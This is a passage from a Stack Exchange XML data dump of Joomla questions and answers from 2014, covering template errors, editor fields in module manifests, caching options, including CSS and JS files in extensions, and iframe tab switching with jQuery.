list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you disable some plugins try to create another article, if it works you can narrow down the exact plugin(s), this should tell you the component they may be associated with. Updating said component may fix it as well.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-08-01T21:25:17.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3839" PostTypeId="1" AcceptedAnswerId="3846" CreationDate="2014-08-01T22:19:08.833" Score="1" ViewCount="71" Body="&lt;p&gt;I just designed my website offline and when I tried to make it online I got nothing but a &quot;&gt;&quot; sign on the page.&#xA;I got backend of the site correctly, but I do not know what happened to the frontend.&#xA;when I changed the template to default template the problem solved.&#xA;And when I change error reporting to development mode I got a lot of this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Strict Standards: Only variables should be assigned by reference in&#xA;  /home/alitk/public_html/modules/mod_news_pro_gk4/helper.php on line&#xA;  553&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Strict Standards: Non-static method&#xA;  NSP_GK4_Thumbs::checkSpecialImages() should not be called statically,&#xA;  assuming $this from incompatible context in&#xA;  /home/alitk/public_html/modules/mod_news_pro_gk4/gk_classes/gk.thumbs.php&#xA;  on line 127&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1721" LastEditorUserId="1721" LastEditDate="2014-08-02T11:37:02.430" LastActivityDate="2014-08-03T17:03:37.640" Title="on the frontend I got nothing but a &quot;&gt;&quot; sign" Tags="|front-end|" AnswerCount="2" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="3840" PostTypeId="1" AcceptedAnswerId="3841" CreationDate="2014-08-01T23:37:49.490" Score="5" ViewCount="2249" Body="&lt;p&gt;I'm developing a small Joomla plugin, but I can't figure out how to add a field that uses the normal Joomla article editor, and not only a text field. I have a field like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;menu_one&quot; filter=&quot;raw&quot; type=&quot;textarea&quot; default=&quot;&quot; label=&quot;Field labbel&quot; cols=&quot;100&quot; rows=&quot;20&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to display a WYSIWYG editor like the &lt;code&gt;mod_custom&lt;/code&gt; module does. How can I achieve that?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-11-28T10:27:53.020" Title="How to add a WYSIWYG editor to my module" Tags="|module|editor|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3841" PostTypeId="2" ParentId="3840" CreationDate="2014-08-02T00:00:45.700" Score="2" Body="&lt;p&gt;The mod-custom module seems to be using the code &lt;code&gt;&amp;lt;customContent /&amp;gt;&lt;/code&gt; to add the editor. It's located right before the &lt;code&gt;&amp;lt;files&amp;gt;&lt;/code&gt; declaration in the XML file, not sure if it can be used elsewhere.&lt;/p&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2014-08-02T00:00:45.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3842" PostTypeId="2" ParentId="3823" CreationDate="2014-08-02T00:10:52.290" Score="1" Body="&lt;p&gt;&lt;strong&gt;First of all&lt;/strong&gt;, please upgrade Joomla to the latest version (currently Joomla 2.5.24). That might solve the issue, and either way it's highly recommended for security reasons. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This sounds like a problem with your text editor. Try going to &lt;em&gt;Global Configuration&lt;/em&gt; and change your default editor to &lt;code&gt;Default - None&lt;/code&gt;. If that solves your problem you've found the culprit. You should reinstall the Joomla core files to make sure there's nothing wrong with the TinyMCE editor, or reinstall whatever editor you're using (&lt;a href=&quot;http://joomlacontenteditor.net/&quot; rel=&quot;nofollow&quot;&gt;JCE&lt;/a&gt;, maybe?)&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-08-02T00:10:52.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3843" PostTypeId="1" AcceptedAnswerId="3850" CreationDate="2014-08-02T00:16:18.360" Score="4" ViewCount="282" Body="&lt;p&gt;I find it curious that the &lt;code&gt;index.html&lt;/code&gt; files included in every folder of Joomla has the following content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Technically, that is not valid HTML5, according to the WC3 Validator the title tag cannot be empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&amp;lt;title&amp;gt; &amp;lt;/title&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a spesific reason for this, or is it simply a miss from the Joomla Developers?&lt;/p&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2014-08-02T19:10:56.263" Title="Why are the default &quot;index.html&quot; files not valid HTML5?" Tags="|cms|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3844" PostTypeId="2" ParentId="3836" CreationDate="2014-08-02T09:40:48.980" Score="1" Body="&lt;p&gt;As Lodder says there is probably an issue with the template installation package, I will try install it myself tomorrow if I get a chance and let you know the results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could install a different template? There are a number of similar (free) templates available which are also responsive and come with a quick start package. Have a look at &lt;a href=&quot;http://www.joomlart.com/demo/#purity_iii&quot; rel=&quot;nofollow&quot;&gt;this template&lt;/a&gt;, it's also T3 framework, I personally use it and think it's excellent. This should help you out if you need to find a 'ready-to-go template' as you say.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2014-08-02T09:40:48.980" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="3845" PostTypeId="2" ParentId="3843" CreationDate="2014-08-02T14:15:26.200" Score="2" Body="&lt;p&gt;Nowadays, validation and consistency of Html files is a hot subject. Most browsers accept a wide range of either valid, according to previous standards, or invalid structures. However, awareness on the HTML5 is an important concern, in spite of the extensive effort required to check assets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the evolution of the Internet, several Html standards has been implemented and are still very popular. As there is no way to purge the whole network, they are going to be around forever. In this domain, the same situation is found, a great deal of work is required to certify and maintain compliance with a standard. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a historical point of view, plain index.html were introduced to avoid directory browsing. At these times, they are not longer necessary as directory browsing prevention is a common security measure. In this line, JED Joomla! Extensions Directory (JED) has recently dropped the requirement for index.html in submitted extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The benefit of HTML5 is clear. It's implemented to ease the transition to modern devices and support new technologies. Thus, some experts support a mandate for pure HTML5 pages. In small projects or controlled environments, it's likely to be achieved and the benefits can be verified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Joomla! community project, anyone can promote a full compatibility effort. Github is easy to use, and a specific editor is not even necessary. As a solution, all index.html can be dropped or modified to implement the above detailed structure. Only precious time for the task is required.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-08-02T14:15:26.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3846" PostTypeId="2" ParentId="3839" CreationDate="2014-08-02T15:11:52.980" Score="1" Body="&lt;p&gt;You have a different setup between your development and your production site. As you are migrating from one location to a very different one, you can find fatal errors. You have to check all system requirements in the new server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, ionCube extension, used in some closed commercial extensions, is a common nasty surprise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve the issue, I would begin disabling non-core system plug-ins, one by one, until the page is loaded successfully. If not, try to uninstall every extension to narrow the search, even if you have to go back to one of the default templates. Once you find the problem, you create a modified backup from the development site.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-08-02T15:11:52.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3847" PostTypeId="1" AcceptedAnswerId="3848" CreationDate="2014-08-02T16:53:26.513" Score="1" ViewCount="501" Body="&lt;p&gt;I'd like to style the component options page of my custom-developed component. I can see in the &lt;code&gt;Articles&lt;/code&gt; com_config options there are coloured buttons for radio buttons and a nicer page layout (e.g. equal-width columns for labels and form fields). How can I customise this for my own component options screen within &lt;code&gt;com_config&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2014-08-02T19:09:06.047" Title="Modify layout of component options" Tags="|joomla-3.x|component|development|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3848" PostTypeId="2" ParentId="3847" CreationDate="2014-08-02T17:21:36.897" Score="2" Body="&lt;p&gt;Add your fields like this in the XML manifest file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;  name=&quot;language&quot;&#xA;  type=&quot;radio&quot;&#xA;  class=&quot;btn-group&quot;&#xA;  default=&quot;en&quot;&#xA;  label=&quot;Language&quot;&#xA;  description=&quot;What language do you want?&quot;&amp;gt;&#xA;&amp;lt;option&#xA;    value=&quot;en&quot;&amp;gt;English&amp;lt;/option&amp;gt;&#xA;&amp;lt;option&#xA;    value=&quot;es&quot;&amp;gt;Spanish&amp;lt;/option&amp;gt;&#xA;&amp;lt;option&#xA;    value=&quot;no&quot;&amp;gt;Norwegian&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For simple Yes/No buttons, try&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;intro&quot;&#xA;    type=&quot;radio&quot;&#xA;    class=&quot;btn-group btn-group-yesno&quot;&#xA;    default=&quot;1&quot;&#xA;    label=&quot;Introduction&quot;&#xA;    description=&quot;Show introduction?&quot;&amp;gt;&#xA;    &amp;lt;option&#xA;        value=&quot;1&quot;&amp;gt;JYES&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option&#xA;        value=&quot;0&quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-08-02T17:21:36.897" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3849" PostTypeId="2" ParentId="3847" CreationDate="2014-08-02T19:09:06.047" Score="2" Body="&lt;p&gt;If you're using Joomla 3, set &lt;code&gt;class=&quot;btn-group&quot;&lt;/code&gt; to your radio buttons, that should style them like the default Joomla radio buttons.&lt;/p&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2014-08-02T19:09:06.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3850" PostTypeId="2" ParentId="3843" CreationDate="2014-08-02T19:10:56.263" Score="4" Body="&lt;p&gt;In Joomla these files are placed in folders to keep someone from seeing the contents of it's parent folder in a list that is automatically created by apache when no index file is present. It is a security function, not a page that is generally used to show information to the user. So it is likely the developers did not spend any time at all on these files or care whether they validate. You could easily leave the entire file blank and the goal would still be accomplished.&lt;/p&gt;&#xA;" OwnerUserId="43" LastActivityDate="2014-08-02T19:10:56.263" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3852" PostTypeId="1" CreationDate="2014-08-03T02:22:02.060" Score="1" ViewCount="791" Body="&lt;p&gt;I'm currently looking at different server caching options for Joomla. I'm not ready to upgrade to Joomla 3.x yet, so I'm just looking at options for 2.5.x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Redis was looking good, but based on the discussion at &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/3615&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/pull/3615&lt;/a&gt; it seems Redis won't be available until Joomla 3.4?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I was wondering, what options are there for server side caching in Joomla 2.5.x ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT1:&lt;/strong&gt; By cache systems, I mean Redis, Xcache, APC, Memcache/d, etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT2:&lt;/strong&gt; I will have root access/administrative privileges on the server.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2014-08-05T01:59:00.093" LastActivityDate="2014-08-05T01:59:00.093" Title="What server side caching can be used with Joomla 2.5.x?" Tags="|joomla-2.5|cache|server|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3853" PostTypeId="2" ParentId="3852" CreationDate="2014-08-03T10:14:48.170" Score="2" Body="&lt;p&gt;There are various methods that can be used.&lt;/p&gt;&#xA;&lt;h2&gt;Method 1:&lt;/h2&gt;&#xA;&lt;p&gt;You can download and installing a caching Plugin. Personally, I like to use &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/performance/site-performance/12088&quot; rel=&quot;nofollow noreferrer&quot;&gt;JCH Optimize&lt;/a&gt;. However, be very careful when using minimizing and combining JS files. You may find some errors in the console and have to excludes a file or 2 from the plugin.&lt;/p&gt;&#xA;&lt;h2&gt;Method 2:&lt;/h2&gt;&#xA;&lt;p&gt;There are 2 different types of caching with Joomla.&lt;/p&gt;&#xA;&lt;p&gt;Page caching, which can be found in &lt;strong&gt;Plugins &amp;gt;&amp;gt; System &amp;gt;&amp;gt; Cache&lt;/strong&gt;. This basically cache each individual page. I'm not sure if this applies for 2.5 but according to the Docs, it will only cache for guests, not logged in users.&lt;/p&gt;&#xA;&lt;p&gt;View caching, which can be found in the Global Configuration of your Joomla backend. This caches each view of a component, however will only work if the component developers has added the cache feature.&lt;/p&gt;&#xA;&lt;h2&gt;Method 3:&lt;/h2&gt;&#xA;&lt;p&gt;Some hosting providers have their own caching system. I know that Siteground have 3 different types or caching, depending on the aggressiveness one would like to use. Might be worth look yout your hosting control panel to see if there are any options.&lt;/p&gt;&#xA;&lt;h2&gt;Method 4 (browser):&lt;/h2&gt;&#xA;&lt;p&gt;Your your htaccess file. You will firstly need to rename &lt;code&gt;htaccess.txt&lt;/code&gt; to &lt;code&gt;.htaccess&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;## EXPIRES CACHING ##&#xA;&amp;lt;IfModule mod_expires.c&amp;gt;&#xA;ExpiresActive On&#xA;ExpiresByType image/jpg &amp;quot;access 1 year&amp;quot;&#xA;ExpiresByType image/jpeg &amp;quot;access 1 year&amp;quot;&#xA;ExpiresByType image/gif &amp;quot;access 1 year&amp;quot;&#xA;ExpiresByType image/png &amp;quot;access 1 year&amp;quot;&#xA;ExpiresByType text/css &amp;quot;access 1 month&amp;quot;&#xA;ExpiresByType text/x-javascript &amp;quot;access 1 month&amp;quot;&#xA;ExpiresDefault &amp;quot;access 1 month&amp;quot;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;## EXPIRES CACHING ##&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;there was also a good article written for Joomla's Managine by Ofer Cohen:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://magazine.joomla.org/issues/issue-oct-2012/item/903-simple-performance-guide&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://magazine.joomla.org/issues/issue-oct-2012/item/903-simple-performance-guide&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-08-03T10:14:48.170" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3854" PostTypeId="1" AcceptedAnswerId="3856" CreationDate="2014-08-03T14:21:27.460" Score="2" ViewCount="481" Body="&lt;p&gt;I'm trying to add some external information to a component, and it retrieves the data in &lt;code&gt;view.html.php&lt;/code&gt;.  Once it is retrieved, how can I use it the model?  I've tried as many of the usual variables that I can think of, but no success.  I can see that it's buried down inside &lt;code&gt;$this&lt;/code&gt; (which is an extension of &lt;code&gt;JModelAdmin&lt;/code&gt;), but can find a way to get to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example\view.html.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function display($tpl = null) {&#xA;    $this-&amp;gt;state    = $this-&amp;gt;get('State');&#xA;    $this-&amp;gt;item     = $this-&amp;gt;get('Item');&#xA;    $this-&amp;gt;form     = $this-&amp;gt;get('Form');&#xA;    $this-&amp;gt;MyInfo   = $this-&amp;gt;get(MyInfo);  // Use $this-&amp;gt;item to get my info&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;models\example.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getItem($pk = null) {&#xA;    if (!$item = parent::getItem($pk))&#xA;    {&#xA;        throw new Exception('Failed to load item');&#xA;    }&#xA;    return $item;&#xA;}&#xA;&#xA;public function getMyInfo($pk = null)&#xA;{&#xA;    // Need some of the data from `$this-&amp;gt;item` already retrieved in function `display`&#xA;    // Do some SQL here&#xA;&#xA;    return $mydata;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="285" LastActivityDate="2014-08-03T15:55:25.690" Title="From the model, how I can access the data retrieved in the view?" Tags="|component|development|model|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3855" PostTypeId="1" AcceptedAnswerId="3868" CreationDate="2014-08-03T15:51:38.760" Score="1" ViewCount="1243" Body="&lt;p&gt;Is it possible to retrieve the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; of a document from a component then use it within a &lt;code&gt;raw&lt;/code&gt; view?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm know if you use &lt;code&gt;format=raw&lt;/code&gt; you can have the document only output what the component returns (i.e. without any other modules, template stuff, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to create a view for my component that includes a bit of the template (specifically the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;) and then only what my component generates (I plan on passing this to a a CLI utility &lt;code&gt;wkhtmltopdf&lt;/code&gt; to generate a PDF of the output).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need the &lt;code&gt;head&lt;/code&gt; as my component relies on template CSS for styling, but I don't want anything else - basically:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;...css, js, title, etc from template...&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;...ONLY output from my component, like 'format=raw'...&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="90" LastEditorUserId="90" LastEditDate="2014-08-03T17:19:16.050" LastActivityDate="2014-08-05T12:09:46.867" Title="Get head of current template from component" Tags="|joomla-3.x|component|development|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3856" PostTypeId="2" ParentId="3854" CreationDate="2014-08-03T15:55:25.690" Score="2" Body="&lt;p&gt;Try the parent from your get function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getMyInfo($pk = null)&#xA;{&#xA;   $myItem = parent::getItem($pk);&#xA;   echo $myItem-&amp;gt;myfieldname;&#xA;   .&#xA;   .&#xA;   .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-08-03T15:55:25.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3857" PostTypeId="1" AcceptedAnswerId="3859" CreationDate="2014-08-03T16:39:24.777" Score="1" ViewCount="1256" Body="&lt;p&gt;I've created a script.php which contains the following function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function update400()&#xA;{&#xA;    jimport('joomla.filesystem.folder');&#xA;    jimport('joomla.filesystem.file');&#xA;&#xA;    JFolder::delete(JPATH_ROOT . '/media/mod_MYMODULE/js');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This function is then called inside Joomla's predefined &lt;code&gt;preflight()&lt;/code&gt;. The function is getting, called, however upon installation, I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JInstaller: :Install: File does not exist C:\wamp\www\tmp\install_53de639f7a0b6\400\media\js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At first I thought this was because I was calling &lt;code&gt;update400()&lt;/code&gt; from the &lt;code&gt;preflight()&lt;/code&gt; function, so I tried calling it from the &lt;code&gt;postflight()&lt;/code&gt; function instead, however this did not make any difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to figure out, is why it's looking in the &lt;code&gt;tmp&lt;/code&gt; folder when I have specifically defined the path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know why this is happening?  &lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-08-03T17:39:17.720" Title="Delete folder on extension update" Tags="|joomla-3.x|development|one-click-updates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3858" PostTypeId="2" ParentId="3839" CreationDate="2014-08-03T17:03:37.640" Score="1" Body="&lt;p&gt;There are several things you can try in order to find the problem, and without actually seeing your site it's hard to know what's causing this.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;when I changed the template to default template the problem solved.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This indicates that the problem might be with your template.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If possible, upload your entire site again, to make sure all files where transferred correctly. I suggest using &lt;a href=&quot;https://www.akeebabackup.com/&quot; rel=&quot;nofollow&quot;&gt;Akeeba Backup&lt;/a&gt; when moving your site to another server.&lt;/li&gt;&#xA;&lt;li&gt;Make sure Joomla and your extensions are updated, as well as the template you're using.&lt;/li&gt;&#xA;&lt;li&gt;As Anibal pointed out, your servers might have different settings. Check and compare PHP and MySQL versions on your servers.&lt;/li&gt;&#xA;&lt;li&gt;Disable/unpublish your plugins and modules one by one, in case any of them has a conflict with your template.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-08-03T17:03:37.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3859" PostTypeId="2" ParentId="3857" CreationDate="2014-08-03T17:39:17.720" Score="1" Body="&lt;p&gt;I use &lt;code&gt;JPATH_SITE&lt;/code&gt; within the update method which works fine for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wouldn't use the &lt;code&gt;preflight&lt;/code&gt; at all. It would delete the files even if the update fails, which is likely not what you want. &lt;code&gt;postflight&lt;/code&gt; is the most appropriate but you need to check if it's an install, update or discover there.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-08-03T17:39:17.720" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="3860" PostTypeId="2" ParentId="3855" CreationDate="2014-08-03T17:43:29.313" Score="2" Body="&lt;p&gt;Afaik, there is no &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; in JDocumentRaw.&#xA;The raw format is meant to generate non-HTML output, without loading the template at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to only generate the component output as a HTML page using the template design, then you should add  &lt;code&gt;&amp;amp;tmpl=component&lt;/code&gt; to the URL.&#xA;This will load the &lt;code&gt;component.php&lt;/code&gt; file in your template instead of the &lt;code&gt;index.php&lt;/code&gt;. It should not load any module position and only output the component.&#xA;This is especially useful for modal windows and the like.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-08-03T17:43:29.313" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3861" PostTypeId="1" AcceptedAnswerId="3862" CreationDate="2014-08-03T23:07:57.923" Score="8" ViewCount="6492" Body="&lt;p&gt;If I need to include CSS or JS files in my custom extensions, what would be the best and safest way to achieve this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Should I put them i a specific folder in my extension zip file?&lt;/li&gt;&#xA;&lt;li&gt;How should I declare the files in my XML manifest?&lt;/li&gt;&#xA;&lt;li&gt;How do I include the files in the Joomla header (only when needed)?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2014-09-27T22:01:13.173" Title="Best way to include CSS/JS files in my custom extension" Tags="|development|extensions|xml|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3862" PostTypeId="2" ParentId="3861" CreationDate="2014-08-03T23:59:55.083" Score="7" Body="&lt;p&gt;The best way would be to use the media folder. So, you will firstly need to create a folder called &lt;code&gt;media&lt;/code&gt; in your module folder.&lt;/p&gt;&#xA;&lt;h3&gt;Note: This folder should be created before installing, not after.&lt;/h3&gt;&#xA;&lt;p&gt;The inside the media folder, create 2 sub folders, &lt;code&gt;css&lt;/code&gt; and &lt;code&gt;js&lt;/code&gt;. This isn't required but it's just nicer to keep things separate.&lt;/p&gt;&#xA;&lt;p&gt;Then add the following to your XML file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;media folder=&amp;quot;media&amp;quot; destination=&amp;quot;mod_EXAMPLE&amp;quot;&amp;gt;&#xA;    &amp;lt;folder&amp;gt;css&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;js&amp;lt;/folder&amp;gt;&#xA;&amp;lt;/media&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Change &lt;code&gt;mod_EXAMPLE&lt;/code&gt; to whatever your module is.&lt;/p&gt;&#xA;&lt;p&gt;Upon installation, the media folder will automatically be moved and you will end up with the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JOOMLA_ROOT/media/mod_EXAMPLE/js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JOOMLA_ROOT/media/mod_EXAMPLE/css&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I know so far I have been referring to a module but the same applies for components too.&lt;/p&gt;&#xA;&lt;p&gt;To call the file, you can add the following code to your default.php file for your extension:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('stylesheet', JUri::root() . 'media/mod_EXAMPLE/css/style.css');  // For CSS files&#xA;JHtml::_('script', JUri::root() . 'media/mod_EXAMPLE/js/script.js');       // For JS files&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-09-27T22:01:13.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3864" PostTypeId="2" ParentId="794" CreationDate="2014-08-04T01:22:35.180" Score="1" Body="&lt;p&gt;If both tabs contain iframes, you could use &lt;code&gt;$('#iframe').attr('src', 'http://example.com');&lt;/code&gt; to set the iframe content (and &lt;code&gt;$('#iframe').attr('src', '');&lt;/code&gt; to empty it. I made a small &lt;a href=&quot;http://jsfiddle.net/D9pv8/&quot; rel=&quot;nofollow&quot;&gt;jsfiddle (without the tabs)&lt;/a&gt;. I'm sure this code can be improved, and it has to be changed to fit your needs, but maybe it'll give you a push in the right direction:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;jQuery code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function () {&#xA;    jQuery('.tab1').on('click', function (e) {&#xA;        $('#iframe2').attr('src', '');&#xA;        $('#iframe1').attr('src', 'http://example.com');&#xA;        e.preventDefault();&#xA;    });&#xA;    jQuery('.tab2').on('click', function (e) {&#xA;        $('#iframe1').attr('src', '');&#xA;        $('#iframe2').attr('src', 'http://example.com');&#xA;        e.preventDefault();&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HTML&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#tab1&quot; class=&quot;tab1&quot;&amp;gt;Tab #1&amp;lt;/a&amp;gt; &amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#tab2&quot; class=&quot;tab2&quot;&amp;gt;Tab #2&amp;lt;/a&amp;gt; &amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;h2&amp;gt;iframe 1:&amp;lt;/h2&amp;gt;&#xA;&amp;lt;iframe id=&quot;iframe1&quot; frameborder=&quot;0&quot; src=&quot;&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&#xA;&amp;lt;h2&amp;gt;iframe 2:&amp;lt;/h2&amp;gt;&#xA;&amp;lt;iframe id=&quot;iframe2&quot; frameborder=&quot;0&quot; 